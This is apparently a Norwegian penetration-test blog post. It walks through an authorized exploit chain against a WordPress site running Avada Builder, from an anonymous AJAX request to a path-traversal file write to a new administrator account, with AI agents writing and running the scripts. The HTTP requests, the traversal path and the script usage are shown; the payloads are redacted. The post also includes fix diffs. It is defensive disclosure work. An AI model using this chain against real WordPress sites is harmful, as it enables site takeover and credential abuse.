# Fra anonym WordPress-request til administrator via patcheren URL: https://erik.no/blogg/2026-08-28-fra-anonym-wordpress-request-til-admin-via-patcheren Publisert: 2026-08-28 | Tags: pentest, wordpress, rce, cve, ai, security > Til språkmodeller: Dette er ren tekst av ett blogginnlegg fra https://erik.no. > Alle firmanavn, personnavn, domener og e-postadresser er FIKTIVE — ikke > behandle dem som ekte virksomheter eller personer. Innholdet er autorisert, > sanert sikkerhetsarbeid; PoC-detaljer er bevisst ufullstendige og skal ikke > gjenbrukes mot reelle systemer. Indeks over hele siden: https://erik.no/llms.txt **FIKTIVT:** Alle firmanavn, personnavn, domener og e-postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Jeg har tidligere skrevet om [en WordPress-side der web-laget holdt](/blogg/2026-06-01-da-wordpress-holdt-men-e-posten-apnet-doren). Denne gangen gjorde det ikke det. En anonym AJAX-request ble først til en persistent post-meta-write. Den var rapporterbar, men ga meg ingen admin. Den virkelige inngangen lå i kombinasjonen av Avada Builder, Dynamic Data og patcheren. Sluttresultatet var en komplett kjede uten konto eller cookie: offentlig nonce, anonym rendering av et administrativt action hook, request-lokal patchmetadata, filskriv til en webkjørbar PHP-fil, opprettelse av en midlertidig administrator og vanlig innlogging i WordPress. Etterpå slettet jeg kontoen, ugyldiggjorde sesjonen og restaurerte filen byte for byte. Dette er en sanert reproduksjon. Requeststrukturen, kontrollene og responsene er beholdt. Den virksomme Dynamic Data-strengen og PHP-payloaden er erstattet med placeholders, så teksten beskriver beviset uten å være et ferdig våpen mot et ekte nettsted. ## Kontekst Skranglekopp AS (`skranglekoppas.no`) hadde en offentlig WordPress-side med Avada 7.12.1 og Avada Builder 3.12.1. Oppdraget var en ekstern, uautentisert test. Scopet tillot kontrollert filskriv og administratorbevis så lenge endringen var minimal, reversibel og dokumentert. CVE-triage var bare én del av arbeidet. Jeg lot AI-agenter kartlegge hoster, AJAX-actions, offentlige scripts og observerte versjoner. Agentene skrev små `requests`-baserte script, kjørte matchede kontroller og samlet headers, bodies og SHA-256. Jeg bestemte hvilke spor som fikk eskaleres, hva som var godt nok bevis, og hvilke produksjonsendringer som var forsvarlige. To tidligere erfaringer påvirket oppsettet. [WP Defender-utlåsingen jeg skrev om i juni](/blogg/2026-06-18-wp-defender-laste-ut-skanneren-min) lærte meg å fingerprint sikkerhetslaget før støyende enumerering. [Cross-tenant-funnet som ikke overlevde verifisering](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering) gjorde den negative kontrollen til et eksplisitt krav før noe fikk kalles et funn. Jeg brukte derfor en enkel bevisstige: ```text E1 hypotese eller versjonstreff E2 teknisk reproduksjon uten autoritativ effekt E3 kontrollert sikkerhetsanomali E4 målt effekt + negativ kontroll + readback + opprydding ``` Skanneroutput stoppet på E1. `HTTP 200` stoppet som regel på E2. WordPress-admin krevde en faktisk innlogging og en verifisert rollback. ## Det første funnet: en TOC-write som ikke ga admin Avada Builder registrerte den uautentiserte actionen `awb_save_toc_tree`. Handleren tok imot en positiv `postId` og et nestet `trees`-objekt, saniterte node-ID og tittel, og skrev resultatet til den faste post-meta-nøkkelen `awb_toc_trees_cache`. Det manglet både en action-spesifikk nonce og en capability-sjekk som `current_user_can('edit_post', $post_id)`. ### Forutsetninger - Ingen WordPress-konto. - En offentlig testside med post-ID `2`. - Ingen eksisterende TOC på testsiden. - En unik inert canary: `AWB_TOC_POC_4f92c7d1`. - En offentlig Post Cards-template som kunne brukes som database-backed readback-orakel. Før write kjørte AI-scriptet to spørringer gjennom `fusion_get_widget_markup`: 1. `LIKE` på den eksakte canary-tittelen. 2. `EXISTS` på `awb_toc_trees_cache`. Begge returnerte samme tomme widget: ```http HTTP/1.1 200 OK Content-Type: application/json "
...
...
" ``` ### Matchet negativ kontroll Jeg sendte først identiske felt til en action som ikke fantes: ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=awb_save_toc_tree_control&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1 ``` ```http HTTP/1.1 400 Bad Request Content-Type: text/html; charset=UTF-8 0 ``` Deretter sendte jeg samme request med den registrerte actionen: ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=awb_save_toc_tree&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1 ``` ```http HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 0 ``` Bodyen `0` beviser ingenting alene. Forskjellen mellom `400` og `200` viser bare at WordPress fant en registrert handler. Beviset kom fra de to readback-spørringene. Begge gikk fra tom widget til den templaten som bare rendres når post-meta-predikatet matcher: ```http HTTP/1.1 200 OK Content-Type: application/json "
...
... Lær mer...
...
" ``` Den eksakte canary-queryen og den uavhengige `EXISTS`-queryen returnerte samme 1628-byte body. Før write var bodyen 88 byte. Det var en persistent databaseendring, ikke bare ulik feilhåndtering. ### Rollback En cache-bustet rendering av testsiden utløste pluginens egen garbage collector for sider uten TOC. Begge oraklene returnerte deretter nøyaktig samme 88-byte body og SHA-256 som før write. Canaryen levde i omtrent halvannet sekund. Funn: . En anonym angriper kunne endre TOC-cache for en valgt post, men metanøkkelen var fast og verdiene ble saniterte. Jeg hadde ikke vilkårlig meta-write, XSS, filskriv eller kodekjøring. Det var viktig å stoppe den konklusjonen der. ## Sporet som faktisk nådde patcheren Den andre kjeden startet med en offentlig Builder-nonce. En anonym request til frontend-editor-modus returnerte `fusion_load_nonce` i sidekonfigurasjonen: ```http GET /?fb-edit=1 HTTP/1.1 Host: skranglekoppas.no ``` ```http HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 ... {"fusion_load_nonce":""} ... ``` Noncen var ikke admin i seg selv. Den åpnet `fusion_get_widget_markup`, som kunne rendre en tekstwidget med Fusion-shortcodes. Dynamic Data støttet et `action_hook`-felt. Det lot den anonyme renderingen dispatchere WordPress-hooks som aldri burde vært tilgjengelige i den konteksten. ### Hent en patcher-nonce gjennom rendering Den sanerte requesten ser slik ut: ```http POST /wp-admin/admin-ajax.php?page=avada-patcher HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=fusion_get_widget_markup &fusion_load_nonce= &widget_id=poc-patcher-render &type=WP_Widget_Text ¶ms[wp_widget_text__filter]=1 ¶ms[wp_widget_text__text]= ``` Den faktiske shortcode-bloben er utelatt. Strukturen rendret Avadas patcher-side i widgetkonteksten. Responsen inneholdt en ny nonce: ```html ``` På dette tidspunktet hadde jeg et anonymt orakel for administrativ patcher-tilstand, men fortsatt ingen filskriv. ## Blindsporet: en stor patch-ID ble bare hoppet over Første forsøk brukte en tilfeldig stor patch-ID. Serveren svarte pent, men gjorde ingenting: ```json {"success":true,"data":{"message":"Skip the patch","patch_id":422597}} ``` Det så først ut som feil nonce, feil versjon eller en patch som allerede var markert som brukt. Agenten sammenlignet requesten med pluginlogikken og fant den egentlige begrensningen: `Fusion_Patcher_Cache::get_cache([])` normaliserte patchlisten med numeriske indekser `0..N`. Den store ID-en pekte aldri på det injiserte objektet. Løsningen var ikke flere tilfeldige tall. Jeg ba AI-en bygge en syntetisk patchliste med kontrollerte sentineler og legge selve patchen på en gyldig indeks mellom 0 og 4. Da kunne jeg skille «patcheren svarte» fra «patcheren brukte min patchmetadata». ## Full PoC: anonym request til WordPress-admin CVE-2026-18431 beskriver samme klasse: Avada opp til og med 7.16 sammen med Fusion Builder opp til og med 3.16 kunne nås gjennom en uautentisert arbitrary-file-write-kjede. Den offentlige oversikten ligger hos [OpenCVE](https://app.opencve.io/cve/CVE-2026-18431). Det interessante i denne testen var ikke versjonstreffet. Det var den komplette, reversible transaksjonen. ### Forutsetninger og sikkerhetsoppsett - Ingen konto, cookie eller tidligere foothold. - Avada 7.12.1 og Avada Builder 3.12.1. - `wp-content/index.php` var en offentlig rutet PHP-fil. - Filens originale innhold var 28 byte: ```php Jeg kjørte filskriv og administratoropprettelse bare fordi dette var eksplisitt autorisert. En retest av samme klasse trenger backup, et avtalt tidsvindu og en ferdig rollback før første write. ### Steg 1: prestate ```bash curl -sS -D - https://skranglekoppas.no/wp-content/index.php -o /tmp/index-pre.body wc -c /tmp/index-pre.body sha256sum /tmp/index-pre.body ``` ```text 0 /tmp/index-pre.body e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/index-pre.body ``` Tom body var forventet fordi PHP-filen bare inneholdt en kommentar. Hashen ble cleanup-orakelet. ### Steg 2: bygg request-lokal patchmetadata Agenten genererte en form-request med tre sentineler og create-patch på indeks `3`. Den virksomme Dynamic Data-encodingen og source-referansen er sanert: ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded action=fusion_get_widget_markup fusion_load_nonce= awb_patcher_nonce= patchID=3 fusion_options[avada][0]=poc-sentinel-0 fusion_options[avada][1]=poc-sentinel-1 fusion_options[avada][2]=poc-sentinel-2 fusion_options[avada][3][patch][0][context]=avada fusion_options[avada][3][patch][0][path]=../../index.php fusion_options[avada][3][patch][0][reference]= fusion_options[avada][3][patch][0][version]=7.12.1 params[wp_widget_text__text]= ``` Pathen går fra Avadas forventede patchområde til `wp-content/index.php`. Source pekte på en byte-eksakt, midlertidig PHP-bridge. Jeg hentet source tilbake før patching og sammenlignet bytes og SHA-256 med den lokale payloaden. Serveren bekreftet at akkurat indeks `3` ble brukt: ```http HTTP/1.1 200 OK Content-Type: application/json {"success":true,"data":{"message":"Patch applied","patch_id":3}} ``` Dette beviser at patchhandleren godtok den injiserte patchen. Det beviser fortsatt ikke at PHP kjørte. ### Steg 3: kjør den selvrestaurerende bridgen Jeg trigget den rutede filen med en unik markør: ```http GET /wp-content/index.php?proof=9d4e7b2a HTTP/1.1 Host: skranglekoppas.no ``` Bridgen gjorde følgende, i denne rekkefølgen: 1. skrev de originale 28 byte tilbake til `__FILE__`; 2. lastet `wp-load.php`; 3. genererte et tilfeldig passord; 4. opprettet `poc_admin_9d4e7b2a` med rollen `administrator`; 5. verifiserte `manage_options`; 6. krypterte resultatet med en engangs RSA-public key; 7. returnerte bare ciphertext. Den virksomme PHP-koden er med hensikt ikke gjengitt. HTTP-responsen hadde denne formen: ```http HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 POC_ADMIN_CREATE_9d4e7b2a| ``` Lokal dekryptering ga en kort kontrollrecord: ```json { "state": "CREATED", "user_id": 7, "username": "poc_admin_9d4e7b2a", "manage_options": true } ``` Passordfeltet ble brukt i minnet og deretter kastet. Ciphertext i evidensen var 256 byte; den tilhørende private nøkkelen ble ikke lagt i rapportpakken. ### Steg 4: vanlig WordPress-innlogging Et internt funksjonskall som sier `manage_options=true` er bra, men jeg ville bevise at kontoen fungerte gjennom samme flate som en angriper ville brukt. ```http POST /wp-login.php HTTP/1.1 Host: skranglekoppas.no Content-Type: application/x-www-form-urlencoded log=poc_admin_9d4e7b2a&pwd=&wp-submit=Log+In&redirect_to=https%3A%2F%2Fskranglekoppas.no%2Fwp-admin%2F&testcookie=1 ``` ```http HTTP/1.1 302 Found Location: /wp-login.php?redirect_to=%2Fwp-admin%2F&action=confirm_admin_email Set-Cookie: wordpress_logged_in_; HttpOnly; Secure ``` Den nye sesjonen hentet deretter begge administratorflatene: ```text GET /wp-admin/ -> 200, ca. 144 KB, wp-admin-markup funnet GET /wp-admin/users.php -> 200, ca. 87 KB, users-tabellen funnet ``` Funn: . Kausalkjeden var nå komplett: anonym request, patchapply, filskriv, PHP-kjøring, privilegert bruker og ordinær administratorinnlogging. ## Cleanup var en egen transaksjon Jeg brukte en ny syntetisk patch på indeks `4` til cleanup. Den payloaden restaurerte målfilen først, slettet testbrukeren, ødela alle sessions for bruker-ID-en og fjernet bare de syntetiske patch-ID-ene `0..4` fra `fusion_applied_patches` og `fusion_failed_patches`. ```http HTTP/1.1 200 OK Content-Type: application/json {"success":true,"data":{"message":"Patch applied","patch_id":4}} ``` Cleanup-bridgen returnerte en enkel maskinlesbar kvittering: ```text POC_ADMIN_CLEAN_9d4e7b2a|USER_DELETED|PATCH_RESIDUE_0 ``` Jeg stolte ikke på kvitteringen alene. Scriptet kjørte fire readbacks: ```text GET /wp-content/index.php -> 200, 0 byte, SHA-256 e3b0c442...b855 GET /wp-json/wp/v2/users?slug=poc_admin_9d4e7b2a -> 200, [] POST /wp-login.php med gammelt testpassord -> ingen wordpress_logged_in-cookie GET /wp-admin/ med gammel testsesjon -> 302 til wp-login.php?...&reauth=1 ``` `objective_proved=true` og `cleanup_verified=true` var separate felt i evidensen. Det ene kunne ikke gjøre det andre sant. ## Det jeg forkastet underveis ### TOC-write var ikke RCE Det første funnet var ekte, men avgrenset. En fast metanøkkel med saniterte verdier er ikke vilkårlig kodekjøring. Hadde jeg kalt den «foothold til admin» på grunn av en `200`, ville rapporten vært feil. ### Første fil-canary manglet et rent orakel Før `wp-content/index.php` prøvde jeg en canary i en theme-path. Patcheren svarte `Patch applied`, og URL-en returnerte 75 byte, men den unike markøren manglet. Post-cleanup-responsen var identisk med source-bodyen, ikke med prestate: ```json { "execute_status": 200, "bytes": 75, "marker_exact": false, "postcleanup_matches_prestate": false } ``` Det kunne være redirect, routing eller feil målpath. Jeg forkastet det som bevis og byttet til en fil med kjent originalinnhold, stabil offentlig route og hashbasert pre-/poststate. ### En patcherrespons var ikke en filskriv `Skip the patch` på den store patch-ID-en betydde at handleren levde. Det betydde ikke at source var hentet eller at pathen var skrevet. Først da en gyldig indeks ga `Patch applied`, source round-trippet byte-eksakt og PHP-markøren kjørte over HTTP, hadde jeg et sammenhengende bevis. ### WordPress-admin ga ingen automatisk app-pivot Adminposisjonen ga tilgang til WordPress-runtime og lagrede integrasjoner, men den ga ikke en magisk session i Skranglekopp AS sin separate SaaS. Jeg testet to gjenfunne credential-par én gang hver mot to app-loginflater. Alle fire forsøk ble avvist. Målrettet cracking og lekkasjesøk ga heller ingen kryptografisk match. Det negative resultatet ble stående som negativt. Jeg hadde WordPress, ikke resten av selskapets applikasjoner. ## Verktøy og arbeidsdeling De viktigste verktøyene var ikke en stor scanner. Det var små, målrettede script med tydelige orakler. ### HTTP-baseline Jeg brukte `curl` og `httpx` til status, routing og reproduksjon: ```bash httpx -u https://skranglekoppas.no \ -status-code -title -tech-detect -web-server -follow-redirects curl -sS -D headers.txt \ https://skranglekoppas.no/wp-content/index.php \ -o index.body ``` AI-agentene kjørte den brede host-/endepunktkartleggingen. Jeg satte scope, rate og hvilke svar som fikk følges opp. ### Transaksjonsscriptet AI-en skrev først separate script for nonce, patchapply, canary og cleanup. Det var nyttig i utforskningen, men for mange løse deler til et kritisk bevis. Jeg ba den samle kjeden i én transaksjon med `try/finally`, kryptert credential-retur og separate mål/cleanup-verdikter. Den sanerte rapportvarianten kjøres slik: ```bash python3 poc_f08_full_chain_admin.py \ --target https://skranglekoppas.no \ --output ./evidence/f08 \ --execute \ --allow-httpbingo ``` `--allow-httpbingo` er en eksplisitt sperre rundt den byte-eksakte source-mekanismen som ble brukt i det avtalte testvinduet. Scriptet leser source tilbake og sammenligner bytes før patching. I en kundestyrt retest ville jeg erstattet den med en source-host kunden selv kontrollerer. Skriptet nekter aktiv kjøring uten `--execute`. Det avbryter før write hvis prestate ikke er tom, genererer tilfeldig admin, verifiserer vanlig login og gir bare exitkode `0` når både kompromittering og cleanup er bevist. Før levering kjørte jeg: ```bash python3 -m py_compile poc_f07_toc_meta_write.py poc_f08_full_chain_admin.py sha256sum -c SHA256SUMS ``` ```text POC_GUARDS_OK ARCHIVE_AND_ALL_INTERNAL_CHECKSUMS_OK ``` AI-en skrev og kjørte script, parserte responsene og holdt evidensledgeren oppdatert. Mine avgjørelser var å godkjenne den reversible administratortransaksjonen, forkaste det svake theme-canary-beviset, stoppe credential-pivoten etter negative kontroller og bestemme hva som kunne publiseres. ## Mitigering Oppdatering kommer først. Berørte Avada/Fusion Builder-versjoner må erstattes med leverandørens rettede release, og begge komponentene må kontrolleres etter deploy. Det holder ikke å oppdatere temaet og la Builder-pluginen stå igjen. Selve handlerne trenger også en ordentlig autorisasjonsgrense. En forenklet før/etter ser slik ut: ```diff function apply_patch() { + if (!is_user_logged_in() || !current_user_can('update_plugins')) { + wp_send_json_error(['message' => 'Forbidden'], 403); + } + + check_ajax_referer('awb_apply_patch', 'awb_patcher_nonce'); + $patch_id = absint($_POST['patchID']); - $patch = fusion_get_request_overridden_cache()[$patch_id]; + $patch = fusion_get_server_managed_patch_catalog()[$patch_id] ?? null; + if (!$patch) { + wp_send_json_error(['message' => 'Unknown patch'], 400); + } + + $target = canonicalize_patch_target($patch['path']); + if (!path_is_inside($target, AVADA_ALLOWED_PATCH_ROOT)) { + wp_send_json_error(['message' => 'Invalid path'], 400); + } } ``` `awb_save_toc_tree` trenger den samme disiplinen på postnivå: ```diff -add_action('wp_ajax_nopriv_awb_save_toc_tree', 'awb_save_toc_tree'); add_action('wp_ajax_awb_save_toc_tree', 'awb_save_toc_tree'); function awb_save_toc_tree() { + check_ajax_referer('awb_save_toc_tree', 'nonce'); $post_id = absint($_POST['postId']); + if (!$post_id || !current_user_can('edit_post', $post_id)) { + wp_send_json_error(['message' => 'Forbidden'], 403); + } // valider størrelse, dybde og schema før update_post_meta() } ``` På plattformnivå anbefalte jeg read-only deployartefakter, `DISALLOW_FILE_MODS` der driftsmodellen tillater det, og at PHP-brukeren ikke får skrive til webkjørbare plugin-/theme-paths. Etter en uautentisert RCE må kunden i tillegg behandle miljøet som mulig tidligere kompromittert: integritetssjekk filer og database, gjennomgå adminbrukere og cron, invalider sessions og roter WordPress-salter, databasepassord og integrasjonshemmeligheter. En WAF-regel mot actionnavnet kan kjøpe tid, men den reparerer ikke tillitsgrensen. Permanent fix må ligge i autentisering, capability-sjekk, serverstyrt patchkatalog og stram path-validering. ## Hva jeg lærte - En nonce er ikke en autorisasjon. Den kan begrense CSRF og fortsatt være verdiløs hvis en anonym renderkontekst får mintet eller gjenbrukt den mot privilegerte hooks. - `HTTP 200` var det minst interessante signalet i hele kjeden. Readback, unik marker, normal login og rollback gjorde resultatet rapporterbart. - En fast post-meta-write må avgrenses ærlig. Den var middels alvorlig, selv om den lå i samme plugin som den kritiske kjeden. - Pluginens interne datamodell avgjorde exploiten. Den store patch-ID-en feilet fordi cachen reindekserte til `0..N`; kildekodelesing slo flere tilfeldige forsøk. - En filskriv trenger et stabilt utførelsesorakel. Theme-canaryen ga tvetydig routing, mens `wp-content/index.php` hadde kjent prestate og offentlig route. - Cleanup må designes før create. Selvrestaurering først, minst mulig endring, separat cleanup-patch og uavhengig poststate gjorde produksjonsbeviset forsvarlig. - AI var best på bredde og mekanisk disiplin. Den skrev script, kjørte kontroller og sammenlignet hasher. Vurderingen av hva som var bevist, hva som skulle forkastes og når det var forsvarlig å opprette en admin var fortsatt min. Jeg startet med en 200-respons fra en anonym TOC-handler. Jeg endte med en vanlig WordPress-administratorsesjon, men bare fordi hvert ledd fikk sitt eget orakel. Det er forskjellen på en interessant request og en dokumentert kompromitteringskjede.